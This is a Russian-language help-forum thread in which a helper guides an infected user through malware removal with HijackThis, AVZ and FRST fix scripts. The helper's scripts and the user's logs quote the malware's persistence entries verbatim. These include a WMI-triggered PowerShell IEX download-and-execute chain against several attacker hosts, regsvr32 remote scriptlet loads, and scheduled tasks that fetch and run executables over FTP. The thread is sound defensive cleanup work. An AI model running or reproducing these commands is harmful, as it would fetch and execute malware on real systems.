Внезапная проблема [not-a-virus:HEUR:RiskTool.Win32.Generic]

Printable View

03.04.2020, 19:19
Krotr

Внезапная проблема [not-a-virus:HEUR:RiskTool.Win32.Generic]

Доброго времени суток, товарищи!

При работе на компьютере меня настигла проблема о которой, вроде бы, ничего не предвещало.
Собственно, ближе к делу! При включении пк, он работает как обычно и всё хорошо, но по прошедствии какого-то времени открывается командная строка с названием :
C\windows\inf\aspnet\u.exe

И в дальнейшем пк просто зависает и не реагирует ни на что от слова совсем, даже на выключение на кнопку пуск.

Позже в данной строке прописывается :
start service 1056
DNS set ok
not server

И после строка закрывается и мне дается возможность водить мышкой, но компьютер также отказывается что-либо открывать.

Очень прошу помощи!!
03.04.2020, 19:20
Info_bot

Уважаемый(ая) [B]Krotr[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
04.04.2020, 13:21
Vvvyg

Логи по правилам?
04.04.2020, 15:23
Krotr

Вложений: 1

Я скоро вернусь домой и постараюсь скинуть!

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Вот, как и обещал!

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Логи скинул.
04.04.2020, 16:24
Vvvyg

Запустите HijackThis, расположенный в папке Autologger (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B])и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите только эти строки[/url]:[code]O4-32 - HKLM\..\Run: [start] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.ftp1202.site:280/v.sct scrobj.dll
O7 - IPSec: Name: win (2020/04/04) - {77129b55-3600-4649-992d-6a023a559297} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/04/04) - {77129b55-3600-4649-992d-6a023a559297} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/04/04) - {77129b55-3600-4649-992d-6a023a559297} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/04/04) - {77129b55-3600-4649-992d-6a023a559297} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/04/04) - {77129b55-3600-4649-992d-6a023a559297} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O8 - Context menu item: HKU\S-1-5-19\..\Internet Explorer\MenuExt\Add to Google Photos Screensa&ver: (default) = C:\Windows\system32\GPhotos.scr (file missing)
O8 - Context menu item: HKU\S-1-5-20\..\Internet Explorer\MenuExt\Add to Google Photos Screensa&ver: (default) = C:\Windows\system32\GPhotos.scr (file missing)
O21 - HKLM\..\ShellIconOverlayIdentifiers\00asw: avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\00avast: avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O25 - WMI Event: fuckamm4 - fuckamm3 - Event="__InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'", cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.1103bye.xyz:8080/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://172.83.155.170:8170/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://192.236.160.237:8237/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://144.208.127.215:8215/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://103.106.250.161:8161/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://103.106.250.162:8162/power.txt')||regsvr32 /u /s /i:http://144.208.127.215:8215/s.txt scrobj.dll&regsvr32 /u /s /i:http://103.106.250.161:8161/s.txt scrobj.dll&regsvr32 /u /s /i:http://172.83.155.170:8170/s.txt scrobj.dll&regsvr32 /u /s /i:http://192.236.160.237:8237/s.txt scrobj.dll&regsvr32 /u /s /i:http://103.106.250.162:8162/s.txt scrobj.dll&regsvr32 /u /s /i:http://wmi.1103bye.xyz:8080/s.txt scrobj.dll&wmic os get /FORMAT:"http://172.83.155.170:8170/s.xsl"[/code]

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
TerminateProcessByName('C:\Windows\inf\aspnet\lsma12.exe');
QuarantineFile('a.exe', '');
QuarantineFile('C:\Users\User\AppData\Roaming\curl\curl.exe', '');
QuarantineFile('C:\Users\User\AppData\Roaming\curl\curl_7_54.exe', '');
QuarantineFile('c:\windows\debug\item.dat&gt', '');
QuarantineFile('c:\windows\debug\item.dat', '');
QuarantineFile('c:\windows\debug\ok.dat', '');
QuarantineFile('c:\windows\help\lsmosee.exe&gt', '');
QuarantineFile('C:\Windows\inf\aspnet\lsma12.exe', '');
QuarantineFile('http:\amtomil.ru\f.exe', '');
DeleteFile('a.exe', '64');
DeleteFile('C:\Users\User\AppData\Roaming\curl\curl.exe', '64');
DeleteFile('C:\Users\User\AppData\Roaming\curl\curl_7_54.exe', '64');
DeleteFile('c:\windows\debug\item.dat&gt', '64');
DeleteFile('c:\windows\debug\item.dat', '64');
DeleteFile('c:\windows\debug\ok.dat', '64');
DeleteFile('c:\windows\help\lsmosee.exe&gt', '64');
DeleteFile('C:\Windows\inf\aspnet\lsma12.exe', '');
DeleteFile('c:\windows\inf\aspnet\lsma12.exe', '64');
DeleteFile('http:\amtomil.ru\f.exe', '64');
DeleteService('aow_drv');
DeleteService('aswFsBlk');
DeleteService('aswMonFlt');
DeleteService('aswRdr');
DeleteService('aswSnx');
DeleteService('aswSP');
DeleteService('aswTdi');
DeleteService('FairplayKD');
DeleteService('npggsvc');
DeleteService('QMEmulatorService');
DeleteService('UbarCalloutDriver');
DeleteFileMask('c:\users\user\appdata\roaming\curl', '*', true);
DeleteFileMask('C:\Windows\system32', 'Tmp*.tmp', true);
DeleteDirectory('c:\users\user\appdata\roaming\curl');
DelCLSID('{104AA62D-D285-4BF9-87ED-CC68F20CDD0F}');
DelCLSID('{8A69D345-D564-463c-AFF1-A69D9E530F96}');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^McAfee Security Scan Plus.lnk', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^Zaxar Games Browser.lnk', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\amigo', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\DiscordPTB', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\GameCenterMailRu', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\MediaGet2', 'x64');
RegKeyDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\OneClick', 'x64');
DeleteSchedulerTask('{91EF6959-070C-46EA-A74E-37699DCFE30E}');
DeleteSchedulerTask('curl');
DeleteSchedulerTask('curls');
DeleteSchedulerTask('Mysa');
DeleteSchedulerTask('Mysa1');
DeleteSchedulerTask('Mysa2');
DeleteSchedulerTask('Mysa3');
DeleteSchedulerTask('ok');
DeleteSchedulerTask('oka');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteWizard('SCU', 3, 3, true);
RebootWindows(true);
end.[/code]Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Перетащите лог Check_Browsers_LNK.log из папки Autologger на [url=http://dragokas.com/tools/ClearLNK.zip]утилиту ClearLNK[/url]. Отчёт о работе прикрепите.

Пролечите систему с помощью [URL="https://support.kaspersky.ru/viruses/kvrt2015"]KVRT[/URL], затем сделайте такой лог.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
04.04.2020, 21:06
Krotr

Вложений: 2

Скачать и запустить Антивирус я смог только с помощью безопасного режима с включенными сетевым драйверами. До этого просто не успевал даже скачать и пк зависал. Продолжу работу в безопасном режиме.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

После лечения Касперского, пк перезагрузился и у него были проблемы с включением, произошло восстановление, но все антивирус остался и все вирусы Были удалены или направлены на лечение, после тоже удалены. Выполнил сканирование в FRST, Вот файлы:

Без безопасного режима, всё также зависает.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Когда мне ожидать след действий?
04.04.2020, 23:25
Vvvyg

Выделите и скопируйте в буфер обмена следующий код:[CODE]Start::
CreateRestorePoint:
CloseProcesses:
HKLM-x32\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.ftp1202.site:280/v.sct scrobj.dll <==== ATTENTION
GroupPolicy: Restriction ? <==== ATTENTION
GroupPolicy\User: Restriction ? <==== ATTENTION
FF HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction <==== ATTENTION
Task: {09221A37-40E4-439C-8D6D-7B1CF090987C} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {0E7E68D4-ED9E-4BE0-B9F3-58DAC02A92F1} - System32\Tasks\curl => C:\Users\User\AppData\Roaming\curl\curl_7_54.exe <==== ATTENTION
Task: {288F0465-B4D4-41ED-ADCF-4E0176B3DA25} - \nlchfepkdmeacbccgbfclbjbpnjgepfa -> No File <==== ATTENTION
Task: {3D6E6984-2723-45E0-9275-249B12B00402} - System32\Tasks\Mysa2 => cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {52C126AE-358A-4BAB-AB18-14B4DADBF2EC} - System32\Tasks\Avast Software\Overseer => C:\Program Files\Common Files\Avast Software\Overseer\overseer.exe [1660520 2020-02-27] (Avast Software s.r.o. -> Avast Software)
Task: {6FC5BBF3-0299-43B8-8745-EDBF4AB14E13} - System32\Tasks\curls => C:\Users\User\AppData\Roaming\curl\curl.exe <==== ATTENTION
Task: {76B098CA-FF5B-434D-B58C-E3ADCC194B96} - System32\Tasks\Mysa3 => cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
Task: {A73BE522-ADFE-4DED-BEBA-12C840144035} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa <==== ATTENTION
Task: {BB79C943-83B5-4A09-8217-8358036B4FB6} - System32\Tasks\oka => cmd /c start c:\windows\inf\aspnet\lsma12.exe
Task: {D2F9C289-D375-4C14-86D5-931ACCFFBCC3} - System32\Tasks\Mysa => cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{9a09bea8-21e7-4dcc-a36a-d65e4405e15a} <==== ATTENTION (Restriction - IP)
FF HomepageOverride: Mozilla\Firefox\Profiles\inhh362t.default -> Disabled: [email protected]
FF NewTabOverride: Mozilla\Firefox\Profiles\inhh362t.default -> Disabled: {a38384b3-2d1d-4f36-bc22-0f7ae402bcd7}
FF NewTabOverride: Mozilla\Firefox\Profiles\inhh362t.default -> Disabled: [email protected]
FF Extension: (No Name) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\Extensions\[email protected] [2018-01-31] [not signed]
FF Extension: (Safe Browsing Version 4 (temporary add-on)) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\Extensions\[email protected] [2017-10-12] [Legacy]
FF Extension: (No Name) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\Extensions\[email protected] [2018-01-31] [not signed]
FF Extension: (Get Styles) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\Extensions\{a20fb0bc-dcdd-4e20-9914-4dc8afba8ab8}.xpi [2019-05-01]
FF Extension: (No Name) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\Extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7}.xpi [2018-01-31] [not signed]
FF SearchPlugin: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\searchplugins\@Mail.Ru-20170920.xml [2017-11-20]
FF SearchPlugin: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\searchplugins\@Mail.Ru-20172921.xml [2017-09-21]
FF SearchPlugin: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\searchplugins\@Mail.Ru-20174812.xml [2017-11-12]
FF SearchPlugin: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\searchplugins\@Mail.Ru-20175015.xml [2017-11-15]
FF SearchPlugin: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\inhh362t.default\searchplugins\@Mail.Ru-20184720.xml [2018-02-20]
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [No File]
FF Plugin-x32: @4game.com/plugin -> C:\Program Files (x86)\4game\3.6.2.257\npplugin4game.dll [No File]
CHR HKU\S-1-5-21-336028783-3233290375-1713493059-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [dhdgffkkebhmkfjojejmpbldmpobfkfo]
CHR HKU\S-1-5-21-336028783-3233290375-1713493059-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [jinjaccalgkegednnccohejagnlnfdag]
CHR HKU\S-1-5-21-336028783-3233290375-1713493059-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [moihledlmchhofenpacbhphnbnpakgmo]
CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck]
CHR HKLM-x32\...\Chrome\Extension: [fdjdjkkjoiomafnihnobkinnfjnnlhdg]
CHR HKLM-x32\...\Chrome\Extension: [gbjeiekahklbgbfccohipinhgaadijad]
CHR HKLM-x32\...\Chrome\Extension: [geidjeefddhgefeplhdlegoldlgiodon]
CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki]
CHR HKLM-x32\...\Chrome\Extension: [jdfonankhfnhihdcpaagpabbaoclnjfp]
CHR HKLM-x32\...\Chrome\Extension: [odijcgafkhpobjlnfdgiacpdenpmbgme]
CHR HKLM-x32\...\Chrome\Extension: [pchfckkccldkbclgdepkaonamkignanh]
CHR HKLM-x32\...\Chrome\Extension: [phkdcinmmljblpnkohlipaiodlonpinf]
CHR HKLM-x32\...\Chrome\Extension: [pmpoaahleccaibbhfjfimigepmfmmbbk]
OPR Extension: (No Name) - C:\Users\User\AppData\Roaming\Opera Software\Opera Stable\Extensions\ahggfmgiidlaceichjfemgbaggnbaloe [2017-07-14]
OPR Extension: (Tables) - C:\Users\User\AppData\Roaming\Opera Software\Opera Stable\Extensions\egafjhhpbipcmpoiomegbckljbbbphoj [2017-09-23]
OPR Extension: (Savematik: Coupons at Checkout) - C:\Users\User\AppData\Roaming\Opera Software\Opera Stable\Extensions\eoeoincjhpflnpdaiemgbboknhkblome [2019-12-07]
S4 QMEmulatorService; "G:\Games\PUBG\TxGameAssistant\AppMarket\QMEmulatorService.exe" [X]
S3 DrvAgent64; \??\C:\Windows\SysWOW64\Drivers\DrvAgent64.SYS [X]
S3 FairplayKD; \??\C:\ProgramData\MTA San Andreas All\Common\temp\FairplayKD.sys [X]
S2 UbarCalloutDriver; \??\C:\Program Files\UBar\UbarDriver.sys [X] <==== ATTENTION
S3 X6va063; \??\C:\Windows\SysWOW64\Drivers\X6va063 [X]
S3 xhunter1; \??\C:\Windows\xhunter1.sys [X]
2020-04-04 12:04 - 2020-04-04 12:04 - 000000000 _____ C:\Windows\system32\Tmp8583.tmp
2020-04-04 11:59 - 2020-04-04 11:59 - 000000000 _____ C:\Windows\system32\Tmp7731.tmp
2020-04-04 11:12 - 2020-04-04 11:12 - 000000000 _____ C:\Windows\system32\Tmp93E5.tmp
2020-04-04 11:12 - 2020-04-04 11:12 - 000000000 _____ C:\Windows\system32\Tmp8036.tmp
2020-04-04 11:08 - 2020-04-04 11:08 - 000000000 _____ C:\Windows\system32\Tmp755D.tmp
2020-04-04 10:18 - 2020-04-04 10:18 - 000000000 _____ C:\Windows\system32\Tmp5ADB.tmp
2020-04-04 10:18 - 2020-04-04 10:18 - 000000000 _____ C:\Windows\system32\Tmp59C2.tmp
2020-04-04 10:05 - 2020-04-04 10:05 - 000000000 _____ C:\Windows\system32\Tmp8007.tmp
2020-04-04 10:00 - 2020-04-04 10:00 - 000000000 _____ C:\Windows\system32\Tmp5D6A.tmp
2020-04-04 10:00 - 2020-04-04 10:00 - 000000000 _____ C:\Windows\system32\Tmp511B.tmp
2020-04-04 09:55 - 2020-04-04 09:55 - 000000000 _____ C:\Windows\system32\Tmp6086.tmp
2020-04-04 09:34 - 2020-04-04 09:34 - 000000000 _____ C:\Windows\system32\Tmp7000.tmp
2020-04-03 21:57 - 2020-04-03 21:57 - 000000000 _____ C:\Windows\system32\Tmp7A9B.tmp
2020-04-03 21:57 - 2020-04-03 21:57 - 000000000 _____ C:\Windows\system32\Tmp783A.tmp
2020-04-03 21:45 - 2020-04-03 21:45 - 000000000 _____ C:\Windows\system32\Tmp6D42.tmp
2020-04-03 19:43 - 2020-04-03 19:43 - 000000000 _____ C:\Windows\system32\Tmp60C4.tmp
2020-04-03 19:30 - 2020-04-03 19:30 - 000000000 _____ C:\Windows\system32\Tmp52A2.tmp
2020-04-03 19:30 - 2020-04-03 19:30 - 000000000 _____ C:\Windows\system32\Tmp5215.tmp
2020-04-03 19:02 - 2020-04-03 19:02 - 000000000 _____ C:\Windows\system32\Tmp6621.tmp
2020-04-03 19:02 - 2020-04-03 19:02 - 000000000 _____ C:\Windows\system32\Tmp6566.tmp
2020-04-03 18:36 - 2020-04-04 18:11 - 000003520 _____ C:\Windows\system32\Tasks\Mysa
2020-04-03 18:36 - 2020-04-04 18:11 - 000003506 _____ C:\Windows\system32\Tasks\Mysa3
2020-04-03 18:36 - 2020-04-04 18:11 - 000003426 _____ C:\Windows\system32\Tasks\Mysa2
2020-04-03 18:36 - 2020-04-04 18:11 - 000003190 _____ C:\Windows\system32\Tasks\Mysa1
2020-04-03 18:36 - 2020-04-04 18:11 - 000003186 _____ C:\Windows\system32\Tasks\ok
2020-04-03 18:36 - 2020-04-04 18:11 - 000003170 _____ C:\Windows\system32\Tasks\oka
2020-04-03 18:31 - 2020-04-03 18:31 - 000000000 _____ C:\Windows\system32\TmpACF1.tmp
2020-04-03 18:25 - 2020-04-03 18:25 - 000000000 _____ C:\Windows\system32\Tmp625A.tmp
2020-04-03 18:25 - 2020-04-03 18:25 - 000000000 _____ C:\Windows\system32\Tmp4FB4.tmp
2020-04-03 18:21 - 2020-04-03 18:21 - 000000000 _____ C:\Windows\system32\Tmp4E0F.tmp
2020-04-03 18:04 - 2020-04-03 18:04 - 000000000 _____ C:\Windows\system32\Tmp52A1.tmp
2020-04-03 17:59 - 2020-04-03 17:59 - 000000000 _____ C:\Windows\system32\Tmp4CD7.tmp
2020-04-03 17:59 - 2020-04-03 17:59 - 000000000 _____ C:\Windows\system32\Tmp41DF.tmp
2020-04-03 17:51 - 2020-04-03 17:51 - 000000000 _____ C:\Windows\system32\Tmp5678.tmp
2020-04-03 17:47 - 2020-04-03 17:47 - 000000000 _____ C:\Windows\system32\Tmp9F79.tmp
2020-04-03 17:47 - 2020-04-03 17:47 - 000000000 _____ C:\Windows\system32\Tmp9F2B.tmp
2020-04-03 17:33 - 2020-04-03 17:33 - 000000000 _____ C:\Windows\system32\TmpC1F8.tmp
2020-04-03 17:29 - 2020-04-03 17:29 - 000000000 _____ C:\Windows\system32\TmpC1F7.tmp
2020-04-03 17:18 - 2020-04-03 17:18 - 000000000 _____ C:\Windows\system32\Tmp8E59.tmp
2020-04-03 17:18 - 2020-04-03 17:18 - 000000000 _____ C:\Windows\system32\Tmp8DDD.tmp
2020-04-03 17:09 - 2020-04-03 17:09 - 000000000 _____ C:\Windows\system32\Tmp5936.tmp
2020-04-03 17:09 - 2020-04-03 17:09 - 000000000 _____ C:\Windows\system32\Tmp4DF0.tmp
2020-04-03 17:04 - 2020-04-03 17:04 - 000000000 _____ C:\Windows\system32\TmpA208.tmp
2020-04-03 17:04 - 2020-04-03 17:04 - 000000000 _____ C:\Windows\system32\TmpA0D0.tmp
2020-04-03 16:58 - 2020-04-03 16:58 - 000000000 _____ C:\Windows\system32\Tmp669E.tmp
2020-04-03 16:58 - 2020-04-03 16:58 - 000000000 _____ C:\Windows\system32\Tmp5B96.tmp
2020-04-03 16:50 - 2020-04-03 16:50 - 000000000 _____ C:\Windows\system32\Tmp5BE4.tmp
2020-04-03 16:50 - 2020-04-03 16:50 - 000000000 _____ C:\Windows\system32\Tmp50FC.tmp
2020-04-03 16:42 - 2020-04-03 16:42 - 000000000 _____ C:\Windows\system32\Tmp6A56.tmp
2020-04-03 16:42 - 2020-04-03 16:42 - 000000000 _____ C:\Windows\system32\Tmp697B.tmp
2020-04-03 16:35 - 2020-04-03 16:35 - 000000000 _____ C:\Windows\system32\Tmp57B0.tmp
2020-04-03 16:34 - 2020-04-03 16:34 - 000000000 _____ C:\Windows\system32\Tmp5446.tmp
2020-04-03 16:25 - 2020-04-03 16:25 - 000000000 _____ C:\Windows\system32\Tmp5781.tmp
2020-04-03 16:25 - 2020-04-03 16:25 - 000000000 _____ C:\Windows\system32\Tmp4D64.tmp
2020-04-04 18:09 - 2018-06-08 11:28 - 000000081 _____ C:\Windows\system32\s
2020-04-04 18:09 - 2018-06-08 11:28 - 000000079 _____ C:\Windows\system32\ps
2020-04-04 18:09 - 2018-06-08 11:28 - 000000077 _____ C:\Windows\system32\p
2020-03-11 13:07 - 2018-02-26 17:43 - 000000000 ____D C:\ProgramData\boost_interprocess
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Program Files\UBar
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Program Files (x86)\Zaxar
2018-06-08 20:30 - 2018-06-08 20:30 - 000000084 _____ () C:\Program Files\Common Files\xp.dat
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Roaming\curl
2017-11-11 17:13 - 2017-11-11 17:13 - 000000001 _RHOT () C:\Users\User\AppData\Roaming\setupsk
2017-11-11 17:13 - 2017-11-11 17:13 - 000000001 _RHOT () C:\Users\User\AppData\Roaming\setupsk_upd
2017-11-19 21:07 - 2017-11-19 21:07 - 000000001 _RHOT () C:\Users\User\AppData\Local\Kometa
2017-11-19 21:07 - 2017-11-19 21:07 - 000000001 _RHOT () C:\Users\User\AppData\Local\NetBoxLogs
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Local\Nichrome
2017-11-04 11:02 - 2017-11-04 11:02 - 000000001 _RHOT () C:\Users\User\AppData\Local\OneClick
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Local\Xpom
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Local\yc
2017-09-26 14:50 - 2017-09-26 14:50 - 000000001 _RHOT () C:\Users\User\AppData\Local\ZaxarGameBrowser
2016-09-23 21:22 - 2016-09-23 21:22 - 000000000 _____ () C:\Users\User\AppData\Local\{59280710-E3E2-4716-9686-53C259223F80}
2017-09-14 15:07 - 2017-09-14 15:07 - 000000000 _____ () C:\Users\User\AppData\Local\{861A5086-8E27-4081-A69E-A167A2D9E948}
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
ContextMenuHandlers3: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
WMI:subscription\__TimerInstruction->fuckyoumm2_itimer:: <==== ATTENTION
WMI:subscription\__IntervalTimerInstruction->fuckyoumm2_itimer:: <==== ATTENTION
WMI:subscription\__EventFilter->fuckamm3::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'] <==== ATTENTION
WMI:subscription\__EventFilter->BVTFilter::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99]
WMI:subscription\CommandLineEventConsumer->fuckamm4::[CommandLineTemplate => cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.1103bye.xyz:8080/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://172.83.155.170:8170/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http: (the data entry has 797 more characters).] <==== ATTENTION
Shortcut: C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\ecd1923f245fec4f\Амиго.lnk -> C:\Users\User\AppData\Local\Amigo\Application\amigo.exe (No File) <==== Cyrillic
MSCONFIG\Services: QMEmulatorService => 2
MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^McAfee Security Scan Plus.lnk => C:\Windows\pss\McAfee Security Scan Plus.lnk.CommonStartup
MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^Zaxar Games Browser.lnk => C:\Windows\pss\Zaxar Games Browser.lnk.CommonStartup
MSCONFIG\startupreg: start => regsvr32 /u /s /i:http://js.ftp1202.site:280/v.sct scrobj.dll
Folder: C:\Users\User\AppData\Local\NTUSER.DAT
Folder: C:\Users\User\AppData\Local\Media Network Sharing
FirewallRules: [{B0B41F1E-3675-46B5-9EA9-EEB9EA8E10D3}] => (Allow) C:\Users\User\AppData\Local\_restore{E415C293-1C11-4005-B5E5-91EC1A0BAE7D}\msiexec64.exe No File
FirewallRules: [{45B20DDB-7F86-4192-9AF7-DF4A696BF897}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{FB9DF4E5-D803-40D5-82BB-1B21835D8333}] => (Allow) C:\Users\User\AppData\Local\_restore{E415C293-1C11-4005-B5E5-91EC1A0BAE7D}\msiexec64.exe No File
FirewallRules: [{7271B0B4-4289-4FCB-8BDF-7535EF772CD3}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{2157E61D-CF3B-4E43-A46B-4EBD99E29FC3}] => (Allow) C:\Users\User\AppData\Local\_restore{E415C293-1C11-4005-B5E5-91EC1A0BAE7D}\msiexec64.exe No File
FirewallRules: [{387CB5C8-460B-4977-9ACE-42EE1FD2A196}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{83791A8A-89D1-40F3-BBAA-B27B4803F3D4}] => (Allow) C:\Users\User\AppData\Local\_restore{E415C293-1C11-4005-B5E5-91EC1A0BAE7D}\msiexec64.exe No File
FirewallRules: [{BCD6C6C8-34C3-42CA-96B0-1DE3D6AAEB79}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{AC25546A-6E86-4156-A065-FF28DBE0FDE1}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
